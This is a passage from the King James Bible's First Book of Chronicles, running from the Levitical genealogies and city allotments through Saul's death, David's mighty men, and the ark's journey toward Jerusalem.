The son +of Amzi, the son of Bani, the son of Shamer, 6:47 The son of Mahli, +the son of Mushi, the son of Merari, the son of Levi. + +6:48 Their brethren also the Levites were appointed unto all manner of +service of the tabernacle of the house of God. + +6:49 But Aaron and his sons offered upon the altar of the burnt +offering, and on the altar of incense, and were appointed for all the +work of the place most holy, and to make an atonement for Israel, +according to all that Moses the servant of God had commanded. + +6:50 And these are the sons of Aaron; Eleazar his son, Phinehas his +son, Abishua his son, 6:51 Bukki his son, Uzzi his son, Zerahiah his +son, 6:52 Meraioth his son, Amariah his son, Ahitub his son, 6:53 +Zadok his son, Ahimaaz his son. + +6:54 Now these are their dwelling places throughout their castles in +their coasts, of the sons of Aaron, of the families of the Kohathites: +for theirs was the lot. + +6:55 And they gave them Hebron in the land of Judah, and the suburbs +thereof round about it. + +6:56 But the fields of the city, and the villages thereof, they gave +to Caleb the son of Jephunneh. + +6:57 And to the sons of Aaron they gave the cities of Judah, namely, +Hebron, the city of refuge, and Libnah with her suburbs, and Jattir, +and Eshtemoa, with their suburbs, 6:58 And Hilen with her suburbs, +Debir with her suburbs, 6:59 And Ashan with her suburbs, and +Bethshemesh with her suburbs: 6:60 And out of the tribe of Benjamin; +Geba with her suburbs, and Alemeth with her suburbs, and Anathoth with +her suburbs. All their cities throughout their families were thirteen +cities. + +6:61 And unto the sons of Kohath, which were left of the family of +that tribe, were cities given out of the half tribe, namely, out of +the half tribe of Manasseh, by lot, ten cities. + +6:62 And to the sons of Gershom throughout their families out of the +tribe of Issachar, and out of the tribe of Asher, and out of the tribe +of Naphtali, and out of the tribe of Manasseh in Bashan, thirteen +cities. + +6:63 Unto the sons of Merari were given by lot, throughout their +families, out of the tribe of Reuben, and out of the tribe of Gad, and +out of the tribe of Zebulun, twelve cities. + +6:64 And the children of Israel gave to the Levites these cities with +their suburbs. + +6:65 And they gave by lot out of the tribe of the children of Judah, +and out of the tribe of the children of Simeon, and out of the tribe +of the children of Benjamin, these cities, which are called by their +names. + +6:66 And the residue of the families of the sons of Kohath had cities +of their coasts out of the tribe of Ephraim. + +6:67 And they gave unto them, of the cities of refuge, Shechem in +mount Ephraim with her suburbs; they gave also Gezer with her suburbs, +6:68 And Jokmeam with her suburbs, and Bethhoron with her suburbs, +6:69 And Aijalon with her suburbs, and Gathrimmon with her suburbs: +6:70 And out of the half tribe of Manasseh; Aner with her suburbs, and +Bileam with her suburbs, for the family of the remnant of the sons of +Kohath. + +6:71 Unto the sons of Gershom were given out of the family of the half +tribe of Manasseh, Golan in Bashan with her suburbs, and Ashtaroth +with her suburbs: 6:72 And out of the tribe of Issachar; Kedesh with +her suburbs, Daberath with her suburbs, 6:73 And Ramoth with her +suburbs, and Anem with her suburbs: 6:74 And out of the tribe of +Asher; Mashal with her suburbs, and Abdon with her suburbs, 6:75 And +Hukok with her suburbs, and Rehob with her suburbs: 6:76 And out of +the tribe of Naphtali; Kedesh in Galilee with her suburbs, and Hammon +with her suburbs, and Kirjathaim with her suburbs. + +6:77 Unto the rest of the children of Merari were given out of the +tribe of Zebulun, Rimmon with her suburbs, Tabor with her suburbs: +6:78 And on the other side Jordan by Jericho, on the east side of +Jordan, were given them out of the tribe of Reuben, Bezer in the +wilderness with her suburbs, and Jahzah with her suburbs, 6:79 +Kedemoth also with her suburbs, and Mephaath with her suburbs: 6:80 +And out of the tribe of Gad; Ramoth in Gilead with her suburbs, and +Mahanaim with her suburbs, 6:81 And Heshbon with her suburbs, and +Jazer with her suburbs. + +7:1 Now the sons of Issachar were, Tola, and Puah, Jashub, and +Shimrom, four. + +7:2 And the sons of Tola; Uzzi, and Rephaiah, and Jeriel, and Jahmai, +and Jibsam, and Shemuel, heads of their father's house, to wit, of +Tola: they were valiant men of might in their generations; whose +number was in the days of David two and twenty thousand and six +hundred. + +7:3 And the sons of Uzzi; Izrahiah: and the sons of Izrahiah; Michael, +and Obadiah, and Joel, Ishiah, five: all of them chief men. + +7:4 And with them, by their generations, after the house of their +fathers, were bands of soldiers for war, six and thirty thousand men: +for they had many wives and sons. + +7:5 And their brethren among all the families of Issachar were valiant +men of might, reckoned in all by their genealogies fourscore and seven +thousand. + +7:6 The sons of Benjamin; Bela, and Becher, and Jediael, three. + +7:7 And the sons of Bela; Ezbon, and Uzzi, and Uzziel, and Jerimoth, +and Iri, five; heads of the house of their fathers, mighty men of +valour; and were reckoned by their genealogies twenty and two thousand +and thirty and four. + +7:8 And the sons of Becher; Zemira, and Joash, and Eliezer, and +Elioenai, and Omri, and Jerimoth, and Abiah, and Anathoth, and +Alameth. All these are the sons of Becher. + +7:9 And the number of them, after their genealogy by their +generations, heads of the house of their fathers, mighty men of +valour, was twenty thousand and two hundred. + +7:10 The sons also of Jediael; Bilhan: and the sons of Bilhan; Jeush, +and Benjamin, and Ehud, and Chenaanah, and Zethan, and Tharshish, and +Ahishahar. + +7:11 All these the sons of Jediael, by the heads of their fathers, +mighty men of valour, were seventeen thousand and two hundred +soldiers, fit to go out for war and battle. + +7:12 Shuppim also, and Huppim, the children of Ir, and Hushim, the +sons of Aher. + +7:13 The sons of Naphtali; Jahziel, and Guni, and Jezer, and Shallum, +the sons of Bilhah. + +7:14 The sons of Manasseh; Ashriel, whom she bare: (but his concubine +the Aramitess bare Machir the father of Gilead: 7:15 And Machir took +to wife the sister of Huppim and Shuppim, whose sister's name was +Maachah;) and the name of the second was Zelophehad: and Zelophehad +had daughters. + +7:16 And Maachah the wife of Machir bare a son, and she called his +name Peresh; and the name of his brother was Sheresh; and his sons +were Ulam and Rakem. + +7:17 And the sons of Ulam; Bedan. These were the sons of Gilead, the +son of Machir, the son of Manasseh. + +7:18 And his sister Hammoleketh bare Ishod, and Abiezer, and Mahalah. + +7:19 And the sons of Shemidah were, Ahian, and Shechem, and Likhi, and +Aniam. + +7:20 And the sons of Ephraim; Shuthelah, and Bered his son, and Tahath +his son, and Eladah his son, and Tahath his son, 7:21 And Zabad his +son, and Shuthelah his son, and Ezer, and Elead, whom the men of Gath +that were born in that land slew, because they came down to take away +their cattle. + +7:22 And Ephraim their father mourned many days, and his brethren came +to comfort him. + +7:23 And when he went in to his wife, she conceived, and bare a son, +and he called his name Beriah, because it went evil with his house. + +7:24 (And his daughter was Sherah, who built Bethhoron the nether, and +the upper, and Uzzensherah.) 7:25 And Rephah was his son, also +Resheph, and Telah his son, and Tahan his son. + +7:26 Laadan his son, Ammihud his son, Elishama his son. + +7:27 Non his son, Jehoshuah his son. + +7:28 And their possessions and habitations were, Bethel and the towns +thereof, and eastward Naaran, and westward Gezer, with the towns +thereof; Shechem also and the towns thereof, unto Gaza and the towns +thereof: 7:29 And by the borders of the children of Manasseh, +Bethshean and her towns, Taanach and her towns, Megiddo and her towns, +Dor and her towns. In these dwelt the children of Joseph the son of +Israel. + +7:30 The sons of Asher; Imnah, and Isuah, and Ishuai, and Beriah, and +Serah their sister. + +7:31 And the sons of Beriah; Heber, and Malchiel, who is the father of +Birzavith. + +7:32 And Heber begat Japhlet, and Shomer, and Hotham, and Shua their +sister. + +7:33 And the sons of Japhlet; Pasach, and Bimhal, and Ashvath. These +are the children of Japhlet. + +7:34 And the sons of Shamer; Ahi, and Rohgah, Jehubbah, and Aram. + +7:35 And the sons of his brother Helem; Zophah, and Imna, and Shelesh, +and Amal. + +7:36 The sons of Zophah; Suah, and Harnepher, and Shual, and Beri, and +Imrah, 7:37 Bezer, and Hod, and Shamma, and Shilshah, and Ithran, and +Beera. + +7:38 And the sons of Jether; Jephunneh, and Pispah, and Ara. + +7:39 And the sons of Ulla; Arah, and Haniel, and Rezia. + +7:40 All these were the children of Asher, heads of their father's +house, choice and mighty men of valour, chief of the princes. And the +number throughout the genealogy of them that were apt to the war and +to battle was twenty and six thousand men. + +8:1 Now Benjamin begat Bela his firstborn, Ashbel the second, and +Aharah the third, 8:2 Nohah the fourth, and Rapha the fifth. + +8:3 And the sons of Bela were, Addar, and Gera, and Abihud, 8:4 And +Abishua, and Naaman, and Ahoah, 8:5 And Gera, and Shephuphan, and +Huram. + +8:6 And these are the sons of Ehud: these are the heads of the fathers +of the inhabitants of Geba, and they removed them to Manahath: 8:7 And +Naaman, and Ahiah, and Gera, he removed them, and begat Uzza, and +Ahihud. + +8:8 And Shaharaim begat children in the country of Moab, after he had +sent them away; Hushim and Baara were his wives. + +8:9 And he begat of Hodesh his wife, Jobab, and Zibia, and Mesha, and +Malcham, 8:10 And Jeuz, and Shachia, and Mirma. These were his sons, +heads of the fathers. + +8:11 And of Hushim he begat Abitub, and Elpaal. + +8:12 The sons of Elpaal; Eber, and Misham, and Shamed, who built Ono, +and Lod, with the towns thereof: 8:13 Beriah also, and Shema, who were +heads of the fathers of the inhabitants of Aijalon, who drove away the +inhabitants of Gath: 8:14 And Ahio, Shashak, and Jeremoth, 8:15 And +Zebadiah, and Arad, and Ader, 8:16 And Michael, and Ispah, and Joha, +the sons of Beriah; 8:17 And Zebadiah, and Meshullam, and Hezeki, and +Heber, 8:18 Ishmerai also, and Jezliah, and Jobab, the sons of Elpaal; +8:19 And Jakim, and Zichri, and Zabdi, 8:20 And Elienai, and Zilthai, +and Eliel, 8:21 And Adaiah, and Beraiah, and Shimrath, the sons of +Shimhi; 8:22 And Ishpan, and Heber, and Eliel, 8:23 And Abdon, and +Zichri, and Hanan, 8:24 And Hananiah, and Elam, and Antothijah, 8:25 +And Iphedeiah, and Penuel, the sons of Shashak; 8:26 And Shamsherai, +and Shehariah, and Athaliah, 8:27 And Jaresiah, and Eliah, and Zichri, +the sons of Jeroham. + +8:28 These were heads of the fathers, by their generations, chief men. + +These dwelt in Jerusalem. + +8:29 And at Gibeon dwelt the father of Gibeon; whose wife's name was +Maachah: 8:30 And his firstborn son Abdon, and Zur, and Kish, and +Baal, and Nadab, 8:31 And Gedor, and Ahio, and Zacher. + +8:32 And Mikloth begat Shimeah. And these also dwelt with their +brethren in Jerusalem, over against them. + +8:33 And Ner begat Kish, and Kish begat Saul, and Saul begat Jonathan, +and Malchishua, and Abinadab, and Eshbaal. + +8:34 And the son of Jonathan was Meribbaal; and Meribbaal begat Micah. + +8:35 And the sons of Micah were, Pithon, and Melech, and Tarea, and +Ahaz. + +8:36 And Ahaz begat Jehoadah; and Jehoadah begat Alemeth, and +Azmaveth, and Zimri; and Zimri begat Moza, 8:37 And Moza begat Binea: +Rapha was his son, Eleasah his son, Azel his son: 8:38 And Azel had +six sons, whose names are these, Azrikam, Bocheru, and Ishmael, and +Sheariah, and Obadiah, and Hanan. All these were the sons of Azel. + +8:39 And the sons of Eshek his brother were, Ulam his firstborn, +Jehush the second, and Eliphelet the third. + +8:40 And the sons of Ulam were mighty men of valour, archers, and had +many sons, and sons' sons, an hundred and fifty. All these are of the +sons of Benjamin. + +9:1 So all Israel were reckoned by genealogies; and, behold, they were +written in the book of the kings of Israel and Judah, who were carried +away to Babylon for their transgression. + +9:2 Now the first inhabitants that dwelt in their possessions in their +cities were, the Israelites, the priests, Levites, and the Nethinims. + +9:3 And in Jerusalem dwelt of the children of Judah, and of the +children of Benjamin, and of the children of Ephraim, and Manasseh; +9:4 Uthai the son of Ammihud, the son of Omri, the son of Imri, the +son of Bani, of the children of Pharez the son of Judah. + +9:5 And of the Shilonites; Asaiah the firstborn, and his sons. + +9:6 And of the sons of Zerah; Jeuel, and their brethren, six hundred +and ninety. + +9:7 And of the sons of Benjamin; Sallu the son of Meshullam, the son +of Hodaviah, the son of Hasenuah, 9:8 And Ibneiah the son of Jeroham, +and Elah the son of Uzzi, the son of Michri, and Meshullam the son of +Shephathiah, the son of Reuel, the son of Ibnijah; 9:9 And their +brethren, according to their generations, nine hundred and fifty and +six. All these men were chief of the fathers in the house of their +fathers. + +9:10 And of the priests; Jedaiah, and Jehoiarib, and Jachin, 9:11 And +Azariah the son of Hilkiah, the son of Meshullam, the son of Zadok, +the son of Meraioth, the son of Ahitub, the ruler of the house of God; +9:12 And Adaiah the son of Jeroham, the son of Pashur, the son of +Malchijah, and Maasiai the son of Adiel, the son of Jahzerah, the son +of Meshullam, the son of Meshillemith, the son of Immer; 9:13 And +their brethren, heads of the house of their fathers, a thousand and +seven hundred and threescore; very able men for the work of the +service of the house of God. + +9:14 And of the Levites; Shemaiah the son of Hasshub, the son of +Azrikam, the son of Hashabiah, of the sons of Merari; 9:15 And +Bakbakkar, Heresh, and Galal, and Mattaniah the son of Micah, the son +of Zichri, the son of Asaph; 9:16 And Obadiah the son of Shemaiah, the +son of Galal, the son of Jeduthun, and Berechiah the son of Asa, the +son of Elkanah, that dwelt in the villages of the Netophathites. + +9:17 And the porters were, Shallum, and Akkub, and Talmon, and Ahiman, +and their brethren: Shallum was the chief; 9:18 Who hitherto waited in +the king's gate eastward: they were porters in the companies of the +children of Levi. + +9:19 And Shallum the son of Kore, the son of Ebiasaph, the son of +Korah, and his brethren, of the house of his father, the Korahites, +were over the work of the service, keepers of the gates of the +tabernacle: and their fathers, being over the host of the LORD, were +keepers of the entry. + +9:20 And Phinehas the son of Eleazar was the ruler over them in time +past, and the LORD was with him. + +9:21 And Zechariah the son of Meshelemiah was porter of the door of +the tabernacle of the congregation. + +9:22 All these which were chosen to be porters in the gates were two +hundred and twelve. These were reckoned by their genealogy in their +villages, whom David and Samuel the seer did ordain in their set +office. + +9:23 So they and their children had the oversight of the gates of the +house of the LORD, namely, the house of the tabernacle, by wards. + +9:24 In four quarters were the porters, toward the east, west, north, +and south. + +9:25 And their brethren, which were in their villages, were to come +after seven days from time to time with them. + +9:26 For these Levites, the four chief porters, were in their set +office, and were over the chambers and treasuries of the house of God. + +9:27 And they lodged round about the house of God, because the charge +was upon them, and the opening thereof every morning pertained to +them. + +9:28 And certain of them had the charge of the ministering vessels, +that they should bring them in and out by tale. + +9:29 Some of them also were appointed to oversee the vessels, and all +the instruments of the sanctuary, and the fine flour, and the wine, +and the oil, and the frankincense, and the spices. + +9:30 And some of the sons of the priests made the ointment of the +spices. + +9:31 And Mattithiah, one of the Levites, who was the firstborn of +Shallum the Korahite, had the set office over the things that were +made in the pans. + +9:32 And other of their brethren, of the sons of the Kohathites, were +over the shewbread, to prepare it every sabbath. + +9:33 And these are the singers, chief of the fathers of the Levites, +who remaining in the chambers were free: for they were employed in +that work day and night. + +9:34 These chief fathers of the Levites were chief throughout their +generations; these dwelt at Jerusalem. + +9:35 And in Gibeon dwelt the father of Gibeon, Jehiel, whose wife's +name was Maachah: 9:36 And his firstborn son Abdon, then Zur, and +Kish, and Baal, and Ner, and Nadab. + +9:37 And Gedor, and Ahio, and Zechariah, and Mikloth. + +9:38 And Mikloth begat Shimeam. And they also dwelt with their +brethren at Jerusalem, over against their brethren. + +9:39 And Ner begat Kish; and Kish begat Saul; and Saul begat Jonathan, +and Malchishua, and Abinadab, and Eshbaal. + +9:40 And the son of Jonathan was Meribbaal: and Meribbaal begat Micah. + +9:41 And the sons of Micah were, Pithon, and Melech, and Tahrea, and +Ahaz. + +9:42 And Ahaz begat Jarah; and Jarah begat Alemeth, and Azmaveth, and +Zimri; and Zimri begat Moza; 9:43 And Moza begat Binea; and Rephaiah +his son, Eleasah his son, Azel his son. + +9:44 And Azel had six sons, whose names are these, Azrikam, Bocheru, +and Ishmael, and Sheariah, and Obadiah, and Hanan: these were the sons +of Azel. + +10:1 Now the Philistines fought against Israel; and the men of Israel +fled from before the Philistines, and fell down slain in mount Gilboa. + +10:2 And the Philistines followed hard after Saul, and after his sons; +and the Philistines slew Jonathan, and Abinadab, and Malchishua, the +sons of Saul. + +10:3 And the battle went sore against Saul, and the archers hit him, +and he was wounded of the archers. + +10:4 Then said Saul to his armourbearer, Draw thy sword, and thrust me +through therewith; lest these uncircumcised come and abuse me. But his +armourbearer would not; for he was sore afraid. So Saul took a sword, +and fell upon it. + +10:5 And when his armourbearer saw that Saul was dead, he fell +likewise on the sword, and died. + +10:6 So Saul died, and his three sons, and all his house died +together. + +10:7 And when all the men of Israel that were in the valley saw that +they fled, and that Saul and his sons were dead, then they forsook +their cities, and fled: and the Philistines came and dwelt in them. + +10:8 And it came to pass on the morrow, when the Philistines came to +strip the slain, that they found Saul and his sons fallen in mount +Gilboa. + +10:9 And when they had stripped him, they took his head, and his +armour, and sent into the land of the Philistines round about, to +carry tidings unto their idols, and to the people. + +10:10 And they put his armour in the house of their gods, and fastened +his head in the temple of Dagon. + +10:11 And when all Jabeshgilead heard all that the Philistines had +done to Saul, 10:12 They arose, all the valiant men, and took away the +body of Saul, and the bodies of his sons, and brought them to Jabesh, +and buried their bones under the oak in Jabesh, and fasted seven days. + +10:13 So Saul died for his transgression which he committed against +the LORD, even against the word of the LORD, which he kept not, and +also for asking counsel of one that had a familiar spirit, to enquire +of it; 10:14 And enquired not of the LORD: therefore he slew him, and +turned the kingdom unto David the son of Jesse. + +11:1 Then all Israel gathered themselves to David unto Hebron, saying, +Behold, we are thy bone and thy flesh. + +11:2 And moreover in time past, even when Saul was king, thou wast he +that leddest out and broughtest in Israel: and the LORD thy God said +unto thee, Thou shalt feed my people Israel, and thou shalt be ruler +over my people Israel. + +11:3 Therefore came all the elders of Israel to the king to Hebron; +and David made a covenant with them in Hebron before the LORD; and +they anointed David king over Israel, according to the word of the +LORD by Samuel. + +11:4 And David and all Israel went to Jerusalem, which is Jebus; where +the Jebusites were, the inhabitants of the land. + +11:5 And the inhabitants of Jebus said to David, Thou shalt not come +hither. Nevertheless David took the castle of Zion, which is the city +of David. + +11:6 And David said, Whosoever smiteth the Jebusites first shall be +chief and captain. So Joab the son of Zeruiah went first up, and was +chief. + +11:7 And David dwelt in the castle; therefore they called it the city +of David. + +11:8 And he built the city round about, even from Millo round about: +and Joab repaired the rest of the city. + +11:9 So David waxed greater and greater: for the LORD of hosts was +with him. + +11:10 These also are the chief of the mighty men whom David had, who +strengthened themselves with him in his kingdom, and with all Israel, +to make him king, according to the word of the LORD concerning Israel. + +11:11 And this is the number of the mighty men whom David had; +Jashobeam, an Hachmonite, the chief of the captains: he lifted up his +spear against three hundred slain by him at one time. + +11:12 And after him was Eleazar the son of Dodo, the Ahohite, who was +one of the three mighties. + +11:13 He was with David at Pasdammim, and there the Philistines were +gathered together to battle, where was a parcel of ground full of +barley; and the people fled from before the Philistines. + +11:14 And they set themselves in the midst of that parcel, and +delivered it, and slew the Philistines; and the LORD saved them by a +great deliverance. + +11:15 Now three of the thirty captains went down to the rock to David, +into the cave of Adullam; and the host of the Philistines encamped in +the valley of Rephaim. + +11:16 And David was then in the hold, and the Philistines' garrison +was then at Bethlehem. + +11:17 And David longed, and said, Oh that one would give me drink of +the water of the well of Bethlehem, that is at the gate! 11:18 And +the three brake through the host of the Philistines, and drew water +out of the well of Bethlehem, that was by the gate, and took it, and +brought it to David: but David would not drink of it, but poured it +out to the LORD. + +11:19 And said, My God forbid it me, that I should do this thing: +shall I drink the blood of these men that have put their lives in +jeopardy? for with the jeopardy of their lives they brought it. +Therefore he would not drink it. + +These things did these three mightiest. + +11:20 And Abishai the brother of Joab, he was chief of the three: for +lifting up his spear against three hundred, he slew them, and had a +name among the three. + +11:21 Of the three, he was more honourable than the two; for he was +their captain: howbeit he attained not to the first three. + +11:22 Benaiah the son of Jehoiada, the son of a valiant man of +Kabzeel, who had done many acts; he slew two lionlike men of Moab: +also he went down and slew a lion in a pit in a snowy day. + +11:23 And he slew an Egyptian, a man of great stature, five cubits +high; and in the Egyptian's hand was a spear like a weaver's beam; and +he went down to him with a staff, and plucked the spear out of the +Egyptian's hand, and slew him with his own spear. + +11:24 These things did Benaiah the son of Jehoiada, and had the name +among the three mighties. + +11:25 Behold, he was honourable among the thirty, but attained not to +the first three: and David set him over his guard. + +11:26 Also the valiant men of the armies were, Asahel the brother of +Joab, Elhanan the son of Dodo of Bethlehem, 11:27 Shammoth the +Harorite, Helez the Pelonite, 11:28 Ira the son of Ikkesh the Tekoite, +Abiezer the Antothite, 11:29 Sibbecai the Hushathite, Ilai the +Ahohite, 11:30 Maharai the Netophathite, Heled the son of Baanah the +Netophathite, 11:31 Ithai the son of Ribai of Gibeah, that pertained +to the children of Benjamin, Benaiah the Pirathonite, 11:32 Hurai of +the brooks of Gaash, Abiel the Arbathite, 11:33 Azmaveth the +Baharumite, Eliahba the Shaalbonite, 11:34 The sons of Hashem the +Gizonite, Jonathan the son of Shage the Hararite, 11:35 Ahiam the son +of Sacar the Hararite, Eliphal the son of Ur, 11:36 Hepher the +Mecherathite, Ahijah the Pelonite, 11:37 Hezro the Carmelite, Naarai +the son of Ezbai, 11:38 Joel the brother of Nathan, Mibhar the son of +Haggeri, 11:39 Zelek the Ammonite, Naharai the Berothite, the +armourbearer of Joab the son of Zeruiah, 11:40 Ira the Ithrite, Gareb +the Ithrite, 11:41 Uriah the Hittite, Zabad the son of Ahlai, 11:42 +Adina the son of Shiza the Reubenite, a captain of the Reubenites, and +thirty with him, 11:43 Hanan the son of Maachah, and Joshaphat the +Mithnite, 11:44 Uzzia the Ashterathite, Shama and Jehiel the sons of +Hothan the Aroerite, 11:45 Jediael the son of Shimri, and Joha his +brother, the Tizite, 11:46 Eliel the Mahavite, and Jeribai, and +Joshaviah, the sons of Elnaam, and Ithmah the Moabite, 11:47 Eliel, +and Obed, and Jasiel the Mesobaite. + +12:1 Now these are they that came to David to Ziklag, while he yet +kept himself close because of Saul the son of Kish: and they were +among the mighty men, helpers of the war. + +12:2 They were armed with bows, and could use both the right hand and +the left in hurling stones and shooting arrows out of a bow, even of +Saul's brethren of Benjamin. + +12:3 The chief was Ahiezer, then Joash, the sons of Shemaah the +Gibeathite; and Jeziel, and Pelet, the sons of Azmaveth; and Berachah, +and Jehu the Antothite. + +12:4 And Ismaiah the Gibeonite, a mighty man among the thirty, and +over the thirty; and Jeremiah, and Jahaziel, and Johanan, and Josabad +the Gederathite, 12:5 Eluzai, and Jerimoth, and Bealiah, and +Shemariah, and Shephatiah the Haruphite, 12:6 Elkanah, and Jesiah, and +Azareel, and Joezer, and Jashobeam, the Korhites, 12:7 And Joelah, and +Zebadiah, the sons of Jeroham of Gedor. + +12:8 And of the Gadites there separated themselves unto David into the +hold to the wilderness men of might, and men of war fit for the +battle, that could handle shield and buckler, whose faces were like +the faces of lions, and were as swift as the roes upon the mountains; +12:9 Ezer the first, Obadiah the second, Eliab the third, 12:10 +Mishmannah the fourth, Jeremiah the fifth, 12:11 Attai the sixth, +Eliel the seventh, 12:12 Johanan the eighth, Elzabad the ninth, 12:13 +Jeremiah the tenth, Machbanai the eleventh. + +12:14 These were of the sons of Gad, captains of the host: one of the +least was over an hundred, and the greatest over a thousand. + +12:15 These are they that went over Jordan in the first month, when it +had overflown all his banks; and they put to flight all them of the +valleys, both toward the east, and toward the west. + +12:16 And there came of the children of Benjamin and Judah to the hold +unto David. + +12:17 And David went out to meet them, and answered and said unto +them, If ye be come peaceably unto me to help me, mine heart shall be +knit unto you: but if ye be come to betray me to mine enemies, seeing +there is no wrong in mine hands, the God of our fathers look thereon, +and rebuke it. + +12:18 Then the spirit came upon Amasai, who was chief of the captains, +and he said, Thine are we, David, and on thy side, thou son of Jesse: +peace, peace be unto thee, and peace be to thine helpers; for thy God +helpeth thee. + +Then David received them, and made them captains of the band. + +12:19 And there fell some of Manasseh to David, when he came with the +Philistines against Saul to battle: but they helped them not: for the +lords of the Philistines upon advisement sent him away, saying, He +will fall to his master Saul to the jeopardy of our heads. + +12:20 As he went to Ziklag, there fell to him of Manasseh, Adnah, and +Jozabad, and Jediael, and Michael, and Jozabad, and Elihu, and +Zilthai, captains of the thousands that were of Manasseh. + +12:21 And they helped David against the band of the rovers: for they +were all mighty men of valour, and were captains in the host. + +12:22 For at that time day by day there came to David to help him, +until it was a great host, like the host of God. + +12:23 And these are the numbers of the bands that were ready armed to +the war, and came to David to Hebron, to turn the kingdom of Saul to +him, according to the word of the LORD. + +12:24 The children of Judah that bare shield and spear were six +thousand and eight hundred, ready armed to the war. + +12:25 Of the children of Simeon, mighty men of valour for the war, +seven thousand and one hundred. + +12:26 Of the children of Levi four thousand and six hundred. + +12:27 And Jehoiada was the leader of the Aaronites, and with him were +three thousand and seven hundred; 12:28 And Zadok, a young man mighty +of valour, and of his father's house twenty and two captains. + +12:29 And of the children of Benjamin, the kindred of Saul, three +thousand: for hitherto the greatest part of them had kept the ward of +the house of Saul. + +12:30 And of the children of Ephraim twenty thousand and eight +hundred, mighty men of valour, famous throughout the house of their +fathers. + +12:31 And of the half tribe of Manasseh eighteen thousand, which were +expressed by name, to come and make David king. + +12:32 And of the children of Issachar, which were men that had +understanding of the times, to know what Israel ought to do; the heads +of them were two hundred; and all their brethren were at their +commandment. + +12:33 Of Zebulun, such as went forth to battle, expert in war, with +all instruments of war, fifty thousand, which could keep rank: they +were not of double heart. + +12:34 And of Naphtali a thousand captains, and with them with shield +and spear thirty and seven thousand. + +12:35 And of the Danites expert in war twenty and eight thousand and +six hundred. + +12:36 And of Asher, such as went forth to battle, expert in war, forty +thousand. + +12:37 And on the other side of Jordan, of the Reubenites, and the +Gadites, and of the half tribe of Manasseh, with all manner of +instruments of war for the battle, an hundred and twenty thousand. + +12:38 All these men of war, that could keep rank, came with a perfect +heart to Hebron, to make David king over all Israel: and all the rest +also of Israel were of one heart to make David king. + +12:39 And there they were with David three days, eating and drinking: +for their brethren had prepared for them. + +12:40 Moreover they that were nigh them, even unto Issachar and +Zebulun and Naphtali, brought bread on asses, and on camels, and on +mules, and on oxen, and meat, meal, cakes of figs, and bunches of +raisins, and wine, and oil, and oxen, and sheep abundantly: for there +was joy in Israel. + +13:1 And David consulted with the captains of thousands and hundreds, +and with every leader. + +13:2 And David said unto all the congregation of Israel, If it seem +good unto you, and that it be of the LORD our God, let us send abroad +unto our brethren every where, that are left in all the land of +Israel, and with them also to the priests and Levites which are in +their cities and suburbs, that they may gather themselves unto us: +13:3 And let us bring again the ark of our God to us: for we enquired +not at it in the days of Saul. + +13:4 And all the congregation said that they would do so: for the +thing was right in the eyes of all the people. + +13:5 So David gathered all Israel together, from Shihor of Egypt even +unto the entering of Hemath, to bring the ark of God from +Kirjathjearim. + +13:6 And David went up, and all Israel, to Baalah, that is, to +Kirjathjearim, which belonged to Judah, to bring up thence the ark of +God the LORD, that dwelleth between the cherubims, whose name is +called on it. + +13:7 And they carried the ark of God in a new cart out of the house of +Abinadab: and Uzza and Ahio drave the cart. + +13:8 And David and all Israel played before God with all their might, +and with singing, and with harps, and with psalteries, and with +timbrels, and with cymbals, and with trumpets. + +13:9 And when they came unto the threshingfloor of Chidon, Uzza put +forth his hand to hold the ark; for the oxen stumbled. + +13:10 And the anger of the LORD was kindled against Uzza, and he smote +him, because he put his hand to the ark: and there he died before God. + +13:11 And David was displeased, because the LORD had made a breach +upon Uzza: wherefore that place is called Perezuzza to this day. + +13:12 And David was afraid of God that day, saying, How shall I bring +the ark of God home to me? 13:13 So David brought not the ark home to +himself to the city of David, but carried it aside into the house of +Obededom the Gittite. + +13:14 And the ark of God remained with the family of Obededom in his +house three months. And the LORD blessed the house of Obededom, and +all that he had. + +14:1 Now Hiram king of Tyre sent messengers to David, and timber of +cedars, with masons and carpenters, to build him an house. + +14:2 And David perceived that the LORD had confirmed him king over +Israel, for his kingdom was lifted up on high, because of his people +Israel. + +14:3 And David took more wives at Jerusalem: and David begat more sons +and daughters. + +14:4 Now these are the names of his children which he had in +Jerusalem; Shammua, and Shobab, Nathan, and Solomon, 14:5 And Ibhar, +and Elishua, and Elpalet, 14:6 And Nogah, and Nepheg, and Japhia, 14:7 +And Elishama, and Beeliada, and Eliphalet. + +14:8 And when the Philistines heard that David was anointed king over +all Israel, all the Philistines went up to seek David. And David heard +of it, and went out against them. + +14:9 And the Philistines came and spread themselves in the valley of +Rephaim. + +14:10 And David enquired of God, saying, Shall I go up against the +Philistines? And wilt thou deliver them into mine hand? And the LORD +said unto him, Go up; for I will deliver them into thine hand. + +14:11 So they came up to Baalperazim; and David smote them there. Then +David said, God hath broken in upon mine enemies by mine hand like the +breaking forth of waters: therefore they called the name of that place +Baalperazim. + +14:12 And when they had left their gods there, David gave a +commandment, and they were burned with fire. + +14:13 And the Philistines yet again spread themselves abroad in the +valley. + +14:14 Therefore David enquired again of God; and God said unto him, Go +not up after them; turn away from them, and come upon them over +against the mulberry trees. + +14:15 And it shall be, when thou shalt hear a sound of going in the +tops of the mulberry trees, that then thou shalt go out to battle: for +God is gone forth before thee to smite the host of the Philistines. + +14:16 David therefore did as God commanded him: and they smote the +host of the Philistines from Gibeon even to Gazer. + +14:17 And the fame of David went out into all lands; and the LORD +brought the fear of him upon all nations. + +15:1 And David made him houses in the city of David, and prepared a +place for the ark of God, and pitched for it a tent. + +15:2 Then David said, None ought to carry the ark of God but the +Levites: for them hath the LORD chosen to carry the ark of God, and to +minister unto him for ever. + +15:3 And David gathered all Israel together to Jerusalem, to bring up +the ark of the LORD unto his place, which he had prepared for it. + +15:4 And David assembled the children of Aaron, and the Levites: 15:5 +Of the sons of Kohath; Uriel the chief, and his brethren an hundred +and twenty: 15:6 Of the sons of Merari; Asaiah the chief, and his +brethren two hundred and twenty: 15:7 Of the sons of Gershom; Joel the +chief and his brethren an hundred and thirty: 15:8 Of the sons of +Elizaphan; Shemaiah the chief, and his brethren two hundred: 15:9 Of +the sons of Hebron; Eliel the chief, and his brethren fourscore: 15:10 +Of the sons of Uzziel; Amminadab the chief, and his brethren an +hundred and twelve. + +15:11 And David called for Zadok and Abiathar the priests, and for the +Levites, for Uriel, Asaiah, and Joel, Shemaiah, and Eliel, and +Amminadab, 15:12 And said unto them, Ye are the chief of the fathers +of the Levites: sanctify yourselves, both ye and your brethren, that +ye may bring up the ark of the LORD God of Israel unto the place that +I have prepared for it. + +15:13 For because ye did it not at the first, the LORD our God made a +breach upon us, for that we sought him not after the due order. + +15:14 So the priests and the Levites 